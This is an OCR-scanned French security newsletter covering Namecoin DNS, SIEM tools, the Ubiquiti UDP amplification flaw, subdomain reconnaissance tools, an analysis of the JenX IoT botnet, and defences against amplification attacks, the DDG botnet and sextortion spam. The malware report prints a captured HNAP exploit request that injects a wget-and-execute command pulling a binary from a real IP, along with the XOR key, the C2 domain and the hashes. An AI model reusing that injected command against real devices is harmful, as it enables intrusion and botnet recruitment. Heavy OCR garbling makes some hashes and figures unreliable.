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ACTUALITES

Namecoln :

le futur du DNS ?

Namecoin est une monnaie numérique récente. Elle a été développée en gardant la base de
code aussi semblable que possible a celle de Bitcoin. Tandis que Bitcoin est une crypto-
monnaie décentralisée, c'est-a-dire non contrélée par une entité unique, Namecoin est la base
d’'un systéme de nom de domaine (DNS) décentralisé.

C’est quoi le systéme DNS décentra-
lisé?

Le DNS (Domain Name System) est
semblable a un carnet d’adresses Inter-
net. Lorsque vous tapez des URLs dans
votre  navigateur, par  exemple
google.com, vous étes en train d’inter-
roger un serveur DNS «Quelle est
I’adresse IP de google.com ?». Ainsi, il
vous retournera un nombre sous cette
forme XXX.XXX.XXX.XXX.

La derni¢re partie d'un domaine est
appelée domaine de premier niveau
(TLD) comme ".com", ".net", ".tn".
Les TLD sont contrdlés par les autori-
tés centrales. Par exemple, le TLD
".org" est controlé par I'TCANN. Ces
autorités centrales permettent a des so-
ciétés tierces, appelées bureaux d'enre-
gistrement, d'accepter des commandes
de noms de domaine et du service
clientéle. Les DNS controlés par les
gouvernements et les grandes entre-
prises devenaient un probléme pour
certains. Ils pourraient censurer cer-
taines activités telles que le piratage et
I'espionnage. Ainsi, ils ont recouru aux
DNS décentralisés. Mais comment la
décentralisation aide-t-elle? Un sys-
tétme DNS décentralisé signifie qu'il
peut exister des TLD n'appartenant a
personne et que les tables de recherche
DNS sont partagées sur un systéme
peer-to-peer. Donc, vous étes a 1’abri
de la censure.

Comment fonctionne Namecoin?

Le mod¢ele de Bitcoin est un systeme
de transfert de paires clé / valeur sans
aucun controle central. Cela signifie
que Namecoin peut étre aussi utilisé
pour transférer des noms ou des clés
arbitraires de maniére sécurisée. Il peut
également attacher des données a ces
noms.

Namecoin utilise un chiffrage avec clés
privées/publiques. Chaque enregistre-
ment créé¢ dans le logiciel est signé
avec une clé privée de son propriétaire

(de maniére transparente), autorisant
seulement son propriétaire a modifier
la valeur.

Le premier nom de domaine de premier
niveau créé est le dot-bit (.bit). La clé
correspond au nom de domaine, et la
valeur contient les données d'un nom
de domaine.

Comment naviguer sur des sites en
".bit" ?

Vous devez télécharger le client Name-
coinToBind (codé¢ en php) et NMCon-
trol (codé en nodejs). Avec les deux
produits en cours d’exécution, vous
pouvez parcourir les sites Web Dot-Bit
sur n’importe quelle application Inter-
net, au-dela des seuls navigateurs Web.
Similarités et différences
Bitcoin?

Namecoin, qui est un fork du logiciel
Bitcoin. Les deux utilisent les méme
algorithmes et procédures d’exploita-
tion. Namecoin différe toutefois par un

avec

MameLomn

aspect spécial; il n'était pas destiné a
étre utilisé comme monnaie. Il a plutot
été développé en tant que DNS
décentralisé. A l'heure actuelle, il
fonctionne a la fois comme crypto-
monnaie et DNS décentralisé.

Les concurrents

- Ethereum (ENS) qui fournit prati-
quement les mémes fonctions que Na-
mecoin. Les domaines ENS utilisent
une adresse .eth.

- Emercoin a également un DNS avec
plusieurs zones de domaine: ".coin"
pour crypto-monnaie, ".emc" pour les
documents liés a Emercoin, ".1ib" pour
les bibliothéques de contenu et .bazar
pour les plateformes de trading.

- Blockstack qui fonctionne actuelle-
ment sur la blockchain Bitcoin.

Sources
https://linuxfr.org/users/khalahan/journaux/
namecoin-dns-decentralise-ou-bdd-cle-
valeur-en-p2p
https://coincentral.com/namecoin-nmc-
beginners-guide/
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ACTUALITES

Veille Cybernétique

et SIEM

Considérant I'émergence des nouvelles technologies, les attaques cybernétiques ne cessent

d’évoluer

donnant lieu a des dégats matériels et financiers importants. Ceci pousse les

entreprises a réfléchir a anticiper les attaques et maintenir leur détection. Donc, il est judicieux
d’assurer des informations pertinentes et de les exploiter pour qu’elles puissent protéger leurs
processus. C’est ce qu'on appelle la veille cybernétique ou watch/monitoring.

Commencons par définir la veille cy-
bernétique. En tout cas, c’est une acti-
vité de surveillance et de suivi des
nouvelles technologies disponibles sur
le marché et concerne aussi les alertes
de sécurité ou plus précisément des
nouvelles vulnérabilités découvertes
sur les systémes informatiques. Donc,
la veille est I’ensemble de procédures,
outils et compétences humaines en ma-
tiere de sécurité permettant d’identifier
les menaces attaquant la pérennité de
I’entreprise.

Computer
Team

Le CERT est un réseau d’organismes
indépendants d’alerte concernant la
sécurité informatique. Il est considéré
comme une source officielle
d’informations. Chaque pays a ses
propres organismes comme US-CERT
(Etats Unies), tunCERT (Tunisie),
CERT-FR (France)... Ces organismes
émettent des documents d’alertes syn-
thétiques concernant les intrusions ou
les défaillances de sécurité dans tout le
monde.

Au fil du temps, il est de plus en plus
important d’intégrer des outils de cy-
bersécurité et de détection des menaces
pour assurer la supervision continue et
la sécurité des systémes informatiques.
Malheureusement, de nombreux cyber-
attaquants sont actifs sur le Web et
n’attendent que d'exploiter des sys-
témes vulnérables. Les produits SIEM
(Security Information and Event Mana-
gement) sont devenus une partie essen-
tielle de l'identification et du traitement
des cyberattaques.

Emergency Response

C’est quoi un SIEM ?

Les outils de gestion des informations
et des événements de sécurité (SIEM)
étaient initialement congus pour re-
grouper des systémes comme les IDS,
les logs et d'autres systémes similaires
et fournir une vision compléte de tout
incident de sécurité grace a la sur-

veillance en temps réel et a l'analyse
des journaux des événements.

Le SIEM enregistre les données collec-
tées et identifie les attaques poten-
tielles. Toutes ces informations sont
ensuite transmises a une console de
gestion ou elles peuvent étre analysées.
Une fois que les informations néces-
saires ont atteint la console de gestion,
elles sont ensuite visualisées. Une fois
que le logiciel SIEM a identifié une

menace, il communique avec les autres
systémes de sécurité pour arréter 'acti-
vité indésirable. C'est grace a la nature
collaborative des systémes SIEM qu'ils
sont considérés comme une solution
efficace pour les entreprises.

Nous allons maintenant présenter les
principales fonctionnalités nécessaires
a un systéme SIEM.

- Gestion des données de journal : Un
systétme SIEM doit regrouper les don-
nées de journal de différentes sources,
puis normaliser ces données efficace-
ment. Une fois les données normali-
sées, elles sont ensuite quantifiées et
comparées aux données précédemment
enregistrées. Ainsi, on peut définir de
nouveaux critéres pour les futures
alertes pour renforcer la défense du
systéme contre les nouvelles menaces.

- Rapport de conformité : la plupart des
SIEM ont un systéme de génération de
rapports intégré qui peut aider a se
conformer aux exigences et normes de
conformité (PCI DSS, FISMA, FER-

PA, HIPAA, SOX, ISO, NCUA, GL-
BA, CIP NERC, GPG13, DISA STIG).

Exemples d’outils STEM

- SolarWinds Log & Event Manager

- Splunk Enterprise Security

- LogRhythm Security Intelligence
Platform

- IBM QRadar

- McAfee Enterprise Security Manager

Avant de choisir un outil SIEM, il est
important d’évaluer les objectifs. Par
exemple, si on recherche un outil
SIEM répondant aux exigences régle-
mentaires, la génération de rapports
sera I’une des priorités.

D'autre part, si on souhaite utiliser un
systtme SIEM pour rester protégé
contre les attaques émergentes, on aura
simplement besoin d'un systéme avec
un fonctionnement normal et normalisé
et de nombreuses fonctionnalités de
notification définies par l'utilisateur .

Finalement, la veille est un outil de
pilotage précieux qui peut améliorer
I’efficacité des stratégies sécuritaires a
condition d’étre appliquée a bon es-
cient.

Source
https://www.bmc.com/blogs/siem-vs-log-
management-whats-the-difference/
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ACTUALITES

Ubiquiti:

découverte d'une faille

Ubiquiti Networks est une société de technologie américaine créée en 2005 et basée a New
York. Ubiquiti fabrique des produits de communication sans fil pour les entreprises et les
fournisseurs de haut débit sans fil.

Toute cette affaire a été divulguée
grace a un tweet indiquant que les péri-
phériques Ubiquiti étaient exploités et
utilisés pour mener des attaques par
déni de service (DoS) via le port
10001/UDP.

ﬂ Jim Troutman =

@troutman
Heads up! Ubiquiti networks devices are
being remotely exploited, via port 10001
discovery service. Results in loss of
device management, also being used as
a weak UDP DDoS amplification attack:
56 bytes in, 206 bytes out.

@ Traduire le Tweet

12:37 - 29 janv. 2019

Ce tweet a été confirmé par Ubiquiti
suite a la publication d’une solution de
contournement en attendant la mise au
point d’un correctif officiel.

UBNT-SNK
Ubiquiti Employee

Options v

airQS/airMAX and management access
Sweeksago

Hiall,

There has been some discussion lately about a bug in airOS which can result in
management access to airQS devices becoming inaperable until these devices
are rebooted. This issue appears to be caused by external access to airOS
devices using port 10001. As a temporary workaround for this issue while it is
being investigated and resolved by the development team, network operators
can block port 10001 at the network perimeter.

To our current knowledge, this issue cannot be used to gain control of network
devices or to create a DDoS attack. If this situation changes, this notice will be
updated.

Thank you.

Une recherche menée par I’équipe Ra-
pid7, a révélé que ce service était utili-
s¢ entre autres pour faciliter la
découverte des périphériques Ubiquiti.
La partie qui nous intéresse du proto-
cole est assez simple : un message de 4
octets entrainant une réponse volumi-
neuse comprenant le nom, le modéle, la
version du micrologiciel, les adresses
IP, les MAC et parfois ’ESSID s’il
s’agit d’un dispositif sans fil.

Comme il s’agit d’un protocole UDP,
ce protocole souffre malheureusement
de vulnérabilités d’amplification UDP,
comme 1’avaient précédemment signa-

1¢ Rapid7 et US-CERT.
Le facteur d'amplifica-
tion est de 3.67 selon Jim
Troutman, le rédacteur
du tweet, qui a observé
qu’'une requéte de 56
octets entraine une ré-
ponse de taille 206
octets.

# Ubiquiti Devices (Iog10 scale)

mieux com- e

Afin  de
prendre ce probléme,

I’équipe de Rapid7 a

mené une étude Sonar

sur le port 10001 / UDP.

Cette ¢étude a montré qu’en mois de
Janvier 2019 - date de publication de la
vulnérabilité, il existait 498 624
adresses IPv4 avec le port 10001/UDP
ouvert, la plupart de ces adresses sont
localisées au Brésil, aux Etats-Unis, en
Espagne,... Ce nombre a nettement di-
minué (une baisse de 25% depuis le 2
Février 2019) depuis la publication des
mesures correctives par Ubiquiti.

Cas de la Tunisie

En ce qui concerne notre cyberespace
national, une recherche a révélé¢ que
nous avons quelques équipements (des
routeurs frontaux) qui sont vulnérables
a cette faille et qui peuvent étre exploi-
tés. Une capture illustrant la vulnérabi-

Geographic Distribution of Discovered Ubiquiti Devices
~500K Ubiquiti Devices Discovered

II_:_ .'.li H.MF:::.
-

|
| o o
" =u
10,000 .

Source: Rapid7 Project Sonar

Recommandations

Il est recommandé de controler toutes
les expositions externes a ces disposi-
tifs et de restreindre ou contrdler I'ac-
cés a ce service, notamment par un
pare-feu ou des Regles ACL ou désac-
tivation du service concerné comme le
suggere Ubiquiti.

Source: https://blog.rapid7.com/2019/02/01/ubiquiti-
discovery-service-exposures/

lit¢ est présentée dans la figure
suivante:
@ 93652 -
22 Ports
- el 1111 ].[
Country France
15k VCTech SAS 10001 ERLite-3 Version: EdgeRouter ER 301
Fudp |
Last Update 2019-02-28T14:25:05.315419 ubiquiti- Ubiquiti Networks Device
discover mac:

Hostnames

ASN

Alternate IP: 192.168.2.1
Alternate MAC:

Hostname: FETH84017-001

Product: ERLite-3

Version: EdgeRouter.ER-e100.v1.5.0.4677648.140620.1301

25453

ubiquiti-
discover

ERLite-3 version

Ubiquiti Networks Device

Hostname: FETHO4017-001
Product: ERLite-3
Version: EdgeRouter.ER-e100.v1.5.0.4677648.140620.1301
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Enumération en ligne

des sous domaines

Footprinting
Le footprinting est une partie du pro-
cessus de reconnaissance qui est utili-
sée pour collecter des informations
possibles sur un systéme informatique
ou un réseau ciblé.

Le footprinting peut étre a la fois passif
et actif. L’examen du site Web d’une
entreprise est un exemple de foot-
printing passif, alors que tenter d’ac-
céder a des informations sensibles via
I’ingénierie sociale est un exemple de
collecte actif d’informations.

Le footprinting est essentiellement la
premiére étape ou un hacker recueille
le plus d’informations possible pour
trouver des moyens de s’introduire
dans un systéme cible ou de décider
quel type d’attaques sera le plus appro-
prié pour cette cible.

Il existe plusieurs méthodologies de
footprinting tels que le website foot-
printing, email footprinting, whois
footprinting, DNS
footprinting, network
footprinting, le foot-
printing en utilisant
les moteurs de re-
cherche...

Online Subdomains
enumeration

L'énumération de
sous-domaines est le
processus de  re-
cherche de sous-do-
maines valides pour
un ou plusieurs do-
maines. A moins que le serveur DNS
expose une zone DNS compléete (via
AFXR), il est vraiment difficile d'ob-
tenir une liste des sous-domaines
existants. La pratique courante consiste
a utiliser un dictionnaire de noms com-
muns pour tenter de les résoudre. Bien
que cette méthode soit efficace dans
certains cas, mais son efficacité est dé-
pendante du dictionnaire utilisé et de la
complexit¢ des sous-domaines. Une
autre approche consiste a analyser les

certificats SSL d’un
domaine pour explo-
rer ce sous-domaine.
L’énumération de
sous-domaines offre
a l’attaquant d’autres
alternatives d’at-
taques en lui aug-
mentant la surface
d’attaque. Ces sous-
domaines sont dans
plusieurs cas mal
configurés ou des
domaines de test ou-
bliés.

Nous allons présenter, dans cet article,
des outils en ligne pour la recherche
des sous domaines trés efficaces et
simples a utiliser.

DNSDumpster
Lien : https://dnsdumpster.com
DNSdumpster est un outil de recherche

151.101.65.195

198.101.154.205

de domaine gratuit qui permet de dé-
couvrir des hotes associés a un do-
maine. Il permet d’énumérer un
domaine et récupérer jusqu'a 40 000
sous-domaines. Les résultats sont
disponibles dans un fichier XLS pour
faciliter I’exploitation.

kerala.owasp.org

exe

151.101.65.195

< DNSDumpster
donne aussi un
graph de mapping
de domaine.

DNSdumpster utilise des ressources
d’open source intelligence pour col-
lecter les informations de sous do-
maines tels que Alexa Top 1 Million
sites, les moteurs de recherche, Com-
mon Crawl, Certificate Transparency,
Max Mind, Team Cymru, Shodan et
scans.io
Le résultat de recherche avec DNS-
dumpster est trés varié. Il offre des
graphes sur I’IP block owners des sous-
domaines, la GeolP de domaine, les
serveurs DNS, MX records, TXT re-
cords, A records (les données des sous-
domaines).

Aussi, DNSdumpster offre d’autres
options de recherche a appliquer sur les
résultats obtenus tels que :

- La recherche des adresses des sous
domaines partageant la méme adresse
IP.

- La lecture de l'entéte HTTP

- Trace path

- Rechercher les banniéres de la plage
réseau (ports: 80,443,8080,21,22,23)

- Scan Nmap en ligne: https://hacker-
target.com/nmap-online-port-scanner/

4554113 tly
United States
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PENTEST

Netcraft
Lien : http://searchdns.netcraft.com/
On peut utiliser Netcraft pour chercher les sous domaines. Le
résultat contient les sous domaines avec la plage réseaux et
I’OS. Si on veut plus de détails, il suffit de cliquer sur le rap-
port du site.

_Bercrart

Neterafe Services

Search Web by Domain

Results for owasp.org

St Roport

a
a

Virustotal

Lien: https://virustotal.com/

VirusTotal est trés célébre pour 1’analyse des fichiers et des
URLs pour la détection des malwares. On peut utiliser le me-
nu « search » de virusTotal pour la recherche des sous-do-
maines

Whois Lookup ©

Observed Subdomains ©

Censys.io

Lien: https://censys.io

Censys est un service en ligne qui collecte des informations
en se basant sur les adresses IP, les noms de domaines ou en
analysant les certificats SSL.

Nous pouvons utiliser le service d’analyse des certificats SSL
pour un domaine afin de dégager 1I’ensemble de ces sous-do-
maines.

Let's Encrypt Authority X3
201812:03 - 2019-0303
new-wiki.owasp.org

parsed.names: new-wiki.owasp.org

@& CN=discourse.owasp.org
Let's Encrypt Authority X3
201812:07 - 2019-03:07
discourse.owasp.org
parsed.names: discourse. owasp.org

& CN=www.owasp.org
Lets Encrypt Authority X3
20181205 - 20190305
wwn.owasp.org
parsed names: wiw. owasp.0rg

& CN=new-wiki.owasp.org
Lets Encrypt Authority X3
20181203 - 20190303
new-wiki owasp.org
parsed.names: new-iki.owasp.org

& CN=name-virt-host.owasp.org
Lets Encrypt Authority X3
20190111 - 2019-04-11
name-virt-host owasp org
parsed.names: name-virthost owasp.org

& CN=new-wiki.owasp.org
Lets Encrypt Authority X3
2019-02:01 - 2019-0502
new-wiki owasp.org
parsed.names: new-wiki. owasp.org

& CN=discourse.owasp.org
Let's Encrypt Authority X3
2019-02:06 - 2019-0507

ImmuniWeb

Lien : https.//www.htbridge.com/ssl

ImmuniWeb utilise la méthode de scan SSL pour la recherche
des sous-domaines. Le resultat de recherche avec Immuni-
Web est un graphe de sous-domaines et une analyse détaillée
des certificats SSL de chaque sous domaine.

|,.m||[ ImmuniWeb® Al Free Security Test Company Customers Partners Blog  PremiumProducts = Q|

— — HoSTNAME
L = owasporg
docsomasp OGO mallowasp og 443
FINAL GRADE
= CompLiANT wiTH
- =
e koo myouasp 0925
i
December 6th 2018, 1821
= oumozm0zan
< z . . . urips
soncarovapog 3 myowasp o443
<] VIEW TEST RESULT

Hostname Protocol/Port Certificate(s) Tested on Compliant with Grade
owasporg [ vvs ras3 8 December th 2016, 1821 o
update-wikiowasporg [ ves aas wA Novermber 25th 201,06 (2]
mamevirostowssporg | WS /443 ) Jly th 2018, 10:08 (2 ]
ocmsowasp.org HTTPS /443 2] May 25th 2018, 05:21
dsandboxowasporg [ 1vs ass NA Novermber 26th 201,06 [ #+]
wwowasporg [ vvs 7413 @ Novermber 28th 201,06 [ n]
Keralaowasporg [ ves 403 ® uly 2th 2006, 0948
stsowasporg [ s 7203 2 Novermber 26th 201, 061 (o]
austinowasporg [ vresass ® sy 2t 2018,0947 [+ ]
contactowasporg wries /43 A November 28th 201, 0631

Pentest-tools

Lien : https://pentest-tools.com/information-gathering/find-
subdomains-of-domain

Pentest-tools cherche les sous domaines en utilisant diverses
méthodes: DNS zone transfert et le DNS enumeration basé
sur les wordlists et les moteurs de recherche publics.

Found 7 subdomains

Technology  Web lattorm Pageiie

2nesazonst e Signin- GeogleAccos

eseziats ot signin- Google sccovs

Les moteurs de recherche

Les dorks sont une méthode trés rapide pour rechercher des
informations spécifiques en utilisant les moteurs de re-
cherches publics. Pour chercher des sous domaines on peut
utiliser le dork suivant: << site:domaine >>

stoowasp.org v a

(el <3

Acuslités Plus Paraméties  Outls

Pubet Gonge
Essayer avec Google Search Console

i google comiwebmaster

classement par Google.

GitHub - OWASP/phpsec: OWASP PHP Security Project - THIS

phpsec.owasp. raduire cele page
26nov. 2015 HP Socuriy Projoct - THIS PROJECT IS INACTIVE AND MAY CONTAIN
SECURIT (ASPiphpsec.

OWASP Kerala
nitps:/ikerala.owasp.org/  Tradulre cette page
The Open Web Applcation Security Project Kerala Chapter

OWASP
nitps:/iowasp.org/ v Tradire cette page

3 P
well s an active body advocating open standards. In the

OWASP Foundation Event Submission
org/ + Traduire cefte page

schedules, rainings, budge! and logistics

OWASP AppSec California 2018 - YouTube
sl e

18 by OWASP, 41 videos: 5507 views: Last updated on Mar 27, 2016.
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MALWARE

Rapport d'analyse
IoT Botnet

JenX Botnet est un réseau de bot loT commercialisé sur Internet et offre des attaques jusqu’a
300 Gbps. Il utilise des serveurs hébergés pour rechercher et infecter les périphériques en
exploitant des vulnérabilités connues dans les réseaux de bots IoT.

Description

Pascal Geenens, Security Evengelist pour Radware et son
ERT (Emergency Response Team) ont mis a jour une menace
émergente: JenX, un botnet d’un nouveau genre.

Sa méthode d’infection est atypique car il utilise une distri-
bution centralisée par le biais d’une poignée de serveurs non
IoT qui effectuent I’analyse, 1’exploitation des vulnérabilités,
et le chargement des programmes malveillants sur les ma-
chines victimes de I’IoT. Il profite de trois vulnérabilités
dont I’exploitation est devenue populaire récemment dans les
botnets IoT:

* CVE-2017-17215 "Routeur Huawei HG532 - Vulnérabilité
de Huawei Routeur HG532" - Exécution arbitraire de com-
mandes.

¢« CVE-2015-2051 "D-Link Devices - HNAP SOAPAction-
Header Command Execution" (Détectée par les sondes de
tunCERT)

« CVE-2014-8361 "Realtek SDK MiniKd UPnP SOAP
Command Execution".

Les deux vecteurs d’exploitation (CVE-2017-17215, CVE-
2014-8361) des failles sont connus depuis la documentation
du botnet Satori et fondés sur le code qui a été récemment
mis en ligne sur Pastebin par The JanitOr, ['auteur de
"BrickerBot".

Le malware utilise également des techniques similaires a
celles utilisées dans le botnet récemment découvert, PureMa-
suta, dont le code source a été publi¢ dans un forum privé du
Darknet.

Exploitation

Le 30 Janvier 2018, I’Agence Nationale de la Sécurité Infor-
matique a observé plusieurs tentatives d’exploitation prove-
nant de serveurs distincts situés dans différents centres
d’hébergement.

Les exploits, basés sur la vulnérabilit¢ CVE-2015-2051,
tentent d’effectuer un RCE a travers le protocole HNAP
(Home Network Administration Protocol).

Content-Length: 531
Accept-Encoding: gzip, deflate

SOAPAction: http://purenetworks.com/HNAPL/GetDeviceSettings/ cd /tmp && wget http://5.39.22.8/jennifer.mips jchmod +x
jennifer.mips ;./jennifer.mips’

Accept: */*

User-Agent: python-requests/2.4.3 CPython/2.7.9 Linux/3.16.@-4-amd64

Connection: keep-alive

<xml version="1.8" encoding="utf-8"?><s0ap:Envelope xmlns:xsi="http://wwmi.w3.0rg/2001/XMLSchema-instance™

xmlns :xsd="http:/ /wd.w3.0rg/ 2001/ XHLSChema” xmlns:soap="http://schemas.xmls0ap.org/s0ap/
envelope/"><soap:Body>cAddPortiapping xmlns="http://p . com/HNAPL/™> ppingDescription>Toobar</
PortMappingDescription><InternalClient>192.165.8.108¢</InternalClient>cPortiappingProtocol >TCP</
PortMappingProtocol><ExternalPort>1234< /ExternalPort ><InternalPort>1234</ InternalPort>< /AddPor thapping>< /soap: Body></
soap:Envelope>

¥ <soap:Body>
v <AddPortMapping xmlns="http://purenctworks.com/HNAPL/">
<PortMappingDescription>foobar</PortMappingDescription>
<InternalClient»>192.168.8.108</InternalClient>
<PortMappingProtocol>TCP</PortMappingProtocel>
<ExternalPort>1234</ExternalPort>
<InternalPort>1234¢/InternalPort>
</AddPortMapping>
</soap:Body>
</soap:Envelope>

Indicateurs de compromission IOCs
(> root@mondher: fopt/jennifer

nifer# sha256sum *
b19e60727c49b362fed4cbac911cadlSe21 jennifer.arm

19:24:32 root@mondher: fopt
a51c4e7bd27348bc124b694538
6d524bdoe568caaffb635bb4e634d174f427331183ea5efealblc249b725ad5a jennifer.arm7
04463cd1a961f7cd1b77fe6c9e9f5e18b346331303949a0bbo7282dedcd8eddc  jennifer.mips
901ca8fe678b8375b60bad571a4790448bade3b30b5d29665565Ffcbbiab5f6ae jennifer.x86

19:24:35 root@mondher: fopt/jennifer# mdssum *
g55afe@29ade2d6fdfedgsfdo1boebaae jennifer.arm
37859bb7baf5383f408a5b299b4d4422 jennifer.arm?
fbo3601f8d4e0228276edff1c6fe635d jennifer.mips
ec079b488e9747c57d4bb20cb9fcfee? jennifer.x86
19:24:51 root@mondher: fopt/jennifer# |

Analyse

Le binaire du malware est appelé ‘jennifer’ et a été téléchargé
a partir du serveur 5.39.22.8 qui est hébergé chez un fournis-
seur différent autre que celui des serveurs d’exploitation.

Le serveur héberge des échantillons pour plusieurs architec-
tures MIPS, ARM, ARM7 et x86.
Les chaines dans le binaire ont été obfusquées.

19:24:51 root@mondher: /opt/jennifer# strings jennifer.arm
JR**L
@ #!
glabc4dmo3shnp2liedkjf
QIKFQ
QCLACNTKAKG
AMO"
"*¥6-el-S1e&k-,+ 6 e#S(,)<eSlel- e*1- Tel$') e607 eS1 e$)*1E
6- ))E
+$") E
<61 (E
j',+]'06<" *=e
$55) le+*1e#*0+!E
+&*77 &1E
j',+j'06<'*=e56E
j',+j'e6<"'*=e.,))eh|JE
j57*&jE

j 1837 6*)3ka*+#E
+$( 6 73 TeE

jl 3j251&-1%"E

j1 33(,68j251&-1*"E
078 e

.shstrtab

.init

.text

Shini

.rodata

.ctors

.dtors

.data

.bss

19:26:26 root@mondher:/opt/jennifer#
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Une cryptanalyse trés basique avec Python a rapidement ré-
vélé que l'algorithme d'obfuscation était un simple XOR avec
une clé fixe 0x45

19:34:28 root@mondher:/opt/jennifer# python ../xor.python

gosh that chinese family at the other table sure ate alot
shell
enable

applet not found
ncorrect
/bin/busybox ps

Voici comment obtenir la chaine qui contient le serveur C2

19:56:47 root@mondher:/opt/jennifer# strings jennifer.arm
JR**L
@ #!

glabc4dmo3shnp2lieekjf
QIKFQ
QCLACNTKAKG

Apres décryptage :
C2 : skids.sancalvicie.com

Marqueurs

Signatures : SERVER-WEBAPP D-Link multiple products
HNAP SOAPAction header command injection attempt
Payload : Jennifer

Références
L’analyse a été basée sur nos sondes SAHER et sur les liens
suivants:

- https://blog.radware.com/security/2018/02/jenx-los-calvos-de-
san-calvicie/

- https://www.globalsecuritymag.fr/Radware-annonce-la-decou-
verte-de,20180131,76639.html

- https://security.radware.com/ddos-threats-attacks/threat-adviso-
ries-attack-reports/jenx/

Les 5 Botnets
les plus connus

Mirai

En 2016, le botnet Mirai s’est illustré par la violence des
attaques DDoS qu’il a généré en s’appuyant sur la puissance
de calcul des objets connectés. Mirai se déploie sur des
dispositifs vulnérables en analysant en continu Internet pour
rechercher des systémes connectés protégés par les
identifiants attribués par défaut ou codés directement dans les
systemes. Les dispositifs vulnérables sont alors attaqués par
le logiciel qui les transforme en bots, les obligeant a
communiquer avec un serveur de contrdle central qui peut
étre utilisé comme lieu de préparation pour lancer des
attaques DDoS puissantes qui peuvent entre autres paralyser
un site.

Wicked

Une variante de Mirai qui a ajouté a son arsenal d’attaque au
moins trois exploits afin de pouvoir cibler les appareils
connectés présentant des failles qui n’ont pas été colmatées.

Satori

Satori est un botnet repéré en 2017 par un groupe de
chercheurs en sécurité qui attirent I'attention sur sa
progression. Le malware en question proliféere ainsi sur les
objets connectés : Téléviseurs, thermostats, verrous, routeurs,
systémes connectés de véhicules...

OMG

OMG, un malware dérivé de Mirai qui vise le méme type
d’appareils afin de les utiliser comme des proxys, afin de
dissimuler 1’origine d’une attaque informatique ou de son
trafic internet. On voit également d’autres tentatives plus
audacicuses, comme celle d’ADB.miner, un malware visant
des systémes Android afin de leur faire miner des
cryptomonnaies a 1’insu de leurs utilisateurs

Reaper

Un Botnet qui prend le contrdle de certains appareils par le
biais d’identifiants d’authentification faibles ou configurés
par défaut, Mirai a pu coordonner des attaques DDoS (Déni
de service distribu¢) contre le fournisseur de DNS Dyn,
coupant I’accés a de grands sites comme Amazon, Twitter et
Spotify. Au lieu de viser les mots de passe faibles, Reaper
cherche a exploiter les vulnérabilités des équipements [oT,
d’ou son nom de « Reaper » ou « IoT Reaper », qui signifie
en anglais « moissonneur ou faucheur d’objets connectés »,
attribué par des chercheurs de Netlab 360.

Dans le viseur de Reaper jusqu’a présent : les caméras IP des
fabricants GoAhead, D-Link, TP-Link, AVTECH, Netgear,
MikroTik, Linksys et Synology.
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Comment se protéger contre les attaques
d’amplification basées sur le protocole UDP

UDP est un protocole de transmis-
sion de données en mode sans
connexion qui ne valide pas les
adresses IP sources. Outre, certains
services basés sur cette transmission
comme DNS, NTP, SNMP, Net-
BIOS, SSDP, CharGEN, QOTD,
BitTorrent, Kad, Quake Network
Protocol, Steam Protocol, Multicast
DNS (mDNS), RIPvl, Portmap
(RPCbind), LDAP, CLDAP, TFTP,
Memcached, etc ...entrainent des ré-
ponses volumineuses suite a 1’envoi
d’une seule requéte client. De ce
fait, ces faiblesses ont permis aux
attaquants d’utiliser des techniques
d’attaques avec des adresses IP fal-
cifiées et d’entrainer les serveurs
non sécurisés a générer des réponses
UDP amplifiées comme les attaques
DDOS a réflexions amplifiées (Am-
plified Reflection DDOS Attacks)
afin de consommer énormément la
bande passante des entreprises Vvi-
sées.

Par exemple, un serveur Memca-
ched pourrait avoir un facteur d’am-
plification de 10000 a 51000
réponses pour une seule requéte
client.

Recommendations

Pour s’en protéger, nous vous re-
commandons de suivre les mesures
préventives suivantes :

- Scanner votre systéme d’informa-
tion et les zones d’hébergement afin

de déterminer les failles puis pro- @ |
céder a les corriger en installant les :
patchs correctifs depuis les sources :

officielles.

- Mettre en place des packs de :
sécurité pour la détection des actions :
malveillantes, des intrusions (IPS / :
NIDS) et de contrdle de la bande :

passante de trafic réseau.

- Désactiver immédiatement tous :
les services que vous n’avez pas be- :

soin.

- Utiliser le QoS et le Rate limiting :
. préventives suivantes :
voyé ou recu sur les dispositifs de :
commutation et de routage que vous :
: zones d’hébergement afin de déterminer les

pour contrdler le débit du trafic en-

disposez.

- Utiliser BGP Flowspec dans vos :
: installant les patchs correctifs depuis les
- sources officielles.

dispositifs de routage afin d'atténuer
les effets d'une attaque DDoS sur
votre réseau.

- Activer la fonctionnalité Unicast
RPF qui permet d’atténuer les prob- :
lémes causés par les paquets ayant :
- bande passante de trafic réseau.

- Appliquer des régles de filtrage :
rigoureuses pour sécuriser ’admi- :
nistration de vos serveurs a distance :
et s’assurer de la robustesse des :
mots de passe des comptes utilisa- :
: pour
. serveurs
- robustesse des mots de passe des comptes
- utilisateurs et administrateurs.

des adresses IP spoofées.

teurs et administrateurs.

Source
https://tuncert.ansi.tn/publish/conten
t/news.asp?idn=141

: DDG est un botnet
: découvert récemment dans sa version v3020.
- Pour se propager, ce malware cherche a
- exploiter les vulnérabilités des serveurs SSH,
: Redis et ORIENTDB dont plus que 5 690
: serveurs ont été compromis au monde entier.
: Outre, DDG déploie des techniques d’anti-
- analyse et de cryptage pour cacher les
* informations et les adresses IP des serveurs de
: contrle et commande (C&C) d’ou chaque
: serveur infecté regoit les ordres d’attaques.

Attention au botnet DDG

de crypto-minage P2P

Recommendations
: Pour s’en protéger, nous vous conseillons

d’étre vigilant et de suivre les mesures

- Scanner votre systéeme d’information et les

failles puis procéder a les corriger en

- Mettre en place des packs de sécurité pour
la détection des actions malveillantes, des
intrusions (IPS / NIDS) et de contrdle de la

- Désactiver immédiatement tous les services
que vous n’avez pas besoin.

- Appliquer des régles de filtrage rigoureuses
sécuriser 1’administration de vos
a distance et s’assurer de la

Source
. https://tuncert.ansi.tn/publish/content/news.as
: p?idn=142
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avec les derniéres versions.

- Installer les extensions «Netcraft» et
«adblockplus» dans votre navigateur
web pour vous renseigner sur la fiabi-
lité des sites web visités et bloquer les
annonces publicitaires douteuses.

- Utiliser un compte utilisateur avec
des priviléges limités pour se connec-
ter a Internet.

Attention aux emails de type
« Spam Extorsion / Sextortion »

Durant la derniére
période, nous
avons  enregistré
un nombre remar-
quable des emails
frauduleux de type
« Spam Extor-

Source
https://tuncert.ansi.tn/pu-
blish/content/news.asp?idn=143
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email depuis un
pirate indiquant qu'il dispose de tous
les mots de passe de sa victime, qu'il a
pris le contrdle a distance de son navi-
gateur web et qu'il 1'a filmé via sa
webcam lorsqu'elle a accédé aux sites
web pornographiques. De ce fait, ce

- Mettre a jour votre solution d’anti-
virus et réaliser des scans périodique-
ment.

- N’enregistrer pas vos logins, mots
